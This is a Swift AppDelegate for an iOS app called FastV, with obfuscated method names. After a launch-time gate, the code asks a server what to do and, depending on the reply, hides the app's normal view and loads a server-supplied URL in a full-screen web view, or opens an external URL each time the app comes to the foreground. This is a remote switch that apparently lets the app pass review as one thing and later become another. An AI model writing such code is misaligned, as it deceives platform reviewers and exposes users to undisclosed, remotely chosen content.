//
//  AppDelegate.swift
//  FastV
//
//  Created by DC on 2024/6/24.
//

import UIKit
import Network
import WebKit
@_exported import SnapKit

@main
class AppDelegate: UIResponder, UIApplicationDelegate,WKNavigationDelegate {
    var window: UIWindow?
    var jskdjWekdsd:WKWebView?
    
    var isFasetBol:Bool = false
    var isFcetrUrlsNam:String = ""
    var blockRotation = Bool()
    
    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        // Override point for customization after application launch.
        // 创建窗口
        window = UIWindow()
        window?.backgroundColor = .white
        window?.frame = UIScreen.main.bounds
        // 显示窗口
        window?.makeKeyAndVisible()
        
        NotificationCenter.default.addObserver(self, selector: #selector(caregoIOptionNotif), name: UIApplication.willEnterForegroundNotification, object: nil)
        window?.addSubview(self.appStaryView)
        self.appStaryView.snp.makeConstraints { make in
            make.left.right.equalTo(0)
            make.top.bottom.equalTo(0)
        }
        if String().dhjshekijsDsefddf() < 0 { // 进入开关控制
            //网络监听
            String().fastySdujhsfsswexc { scaleData in
                if scaleData == "1" { //网络请求
                    String().optionsdfAsejhustsase {[weak self] scaleData, optStat in
                        if scaleData == "10" {
                            self?.isFasetBol = true
                            self?.isFcetrUrlsNam = optStat
                        }else if scaleData == "11"{ //强制横屏
                            self?.qianxinghenping()
                            DispatchQueue.main.asyncAfter(deadline: .now() + 0.2) {
                                self?.jkshdjksjhhdsdedWksdh()
                                self?.reloadfsjksdjUI()
                                self?.setCargtyFedst(fikjww: scaleData)
                            }
                        }else if scaleData == "2"{ //正常应用，显示应用
                                
                        }else{ //显示加载wkwebview
                            self?.jkshdjksjhhdsdedWksdh()
                            self?.setCargtyFedst(fikjww: scaleData)
                        }
                    }
                }
            }
        }else{ //正常应用，显示应用
            
        }
        
        return true
    }
    
    func qianxinghenping() {
        self.appStaryView.isHidden = true
        let appDelegate = UIApplication.shared.delegate as! AppDelegate
        appDelegate.blockRotation = true
    }
    
    func setCargtyFedst(fikjww: String) {
        guard let newokujs = URL(string: fikjww) else  {return}
        self.jskdjWekdsd?.load(URLRequest(url: newokujs))
    }
    func jkshdjksjhhdsdedWksdh() {
        self.appStaryView.isHidden = true
        let webView = WKWebView()
        webView.allowsBackForwardNavigationGestures = true
        self.window?.addSubview(webView)
        webView.navigationDelegate = self
        webView.frame = CGRectMake(0, cargTopBatteryHeight(), UIScreen.main.bounds.width, UIScreen.main.bounds.height - cargTopBatteryHeight() - cargBottomHeight())
        self.jskdjWekdsd = webView;
    }
    func reloadfsjksdjUI() {
        self.jskdjWekdsd?.frame = CGRectMake(cargchangesdLeft(), cargTopBatteryHeight(), UIScreen.main.bounds.width - cargchangesdLeft() - cargchangesdright(), UIScreen.main.bounds.height - cargTopBatteryHeight() - cargBottomHeight())
    }
    
    @objc func caregoIOptionNotif(){
        if isFasetBol == true {
            if let url = URL(string: self.isFcetrUrlsNam) {
                UIApplication.shared.open(url, options: [:], completionHandler: nil)
            }
        }
    }
    func application(_ application: UIApplication, supportedInterfaceOrientationsFor window: UIWindow?) -> UIInterfaceOrientationMask {
            if blockRotation {
                return .allButUpsideDown
            }
            return .portrait
            
    }
    
//    decidePolicyForNavigationAction
//    func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction) async -> WKNavigationActionPolicy {
//        
//       
//    }
    
    
    func cargTopBatteryHeight() -> CGFloat {
        if #available(iOS 13.0, *) {
            let scene = UIApplication.shared.connectedScenes.first
            guard let windScene = scene as? UIWindowScene else { return 0 }
            guard let window = windScene.windows.first else { return 0 }
            return window.safeAreaInsets.top
        } else if #available(iOS 11.0, *) {
            guard let window = UIApplication.shared.windows.first else { return 0 }
            return window.safeAreaInsets.top
        }
        return 0;
    }
    func cargchangesdLeft() -> CGFloat {
        if #available(iOS 13.0, *) {
            let scene = UIApplication.shared.connectedScenes.first
            guard let windScene = scene as? UIWindowScene else { return 0 }
            guard let window = windScene.windows.first else { return 0 }
            return window.safeAreaInsets.left
        } else if #available(iOS 11.0, *) {
            guard let window = UIApplication.shared.windows.first else { return 0 }
            return window.safeAreaInsets.left
        }
        return 0;
    }
    
    func cargchangesdright() -> CGFloat {
        if #available(iOS 13.0, *) {
            let scene = UIApplication.shared.connectedScenes.first
            guard let windScene = scene as? UIWindowScene else { return 0 }
            guard let window = windScene.windows.first else { return 0 }
            return window.safeAreaInsets.right
        } else if #available(iOS 11.0, *) {
            guard let window = UIApplication.shared.windows.first else { return 0 }
            return window.safeAreaInsets.right
        }
        return 0;
    }
    
    /// 底部安全区高度
    func cargBottomHeight() -> CGFloat {
        if #available(iOS 13.0, *) {
            let scene = UIApplication.shared.connectedScenes.first
            guard let windScene = scene as? UIWindowScene else { return 0 }
            guard let window = windScene.windows.first else { return 0 }
            return window.safeAreaInsets.bottom
        } else if #available(iOS 11.0, *) {
            guard let window = UIApplication.shared.windows.first else { return 0 }
            return window.safeAreaInsets.bottom
        }
        return 0;
    }
    
    lazy var appStaryView: FastStarStYView = {
        let view = FastStarStYView()
        return view
    }()
    
    
    
    
    // MARK: UISceneSession Lifecycle

    func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration {
        // Called when a new scene session is being created.
        // Use this method to select a configuration to create the new scene with.
        return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
    }

    func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>) {
        // Called when the user discards a scene session.
        // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
        // Use this method to release any resources that were specific to the discarded scenes, as they will not return.
    }
}

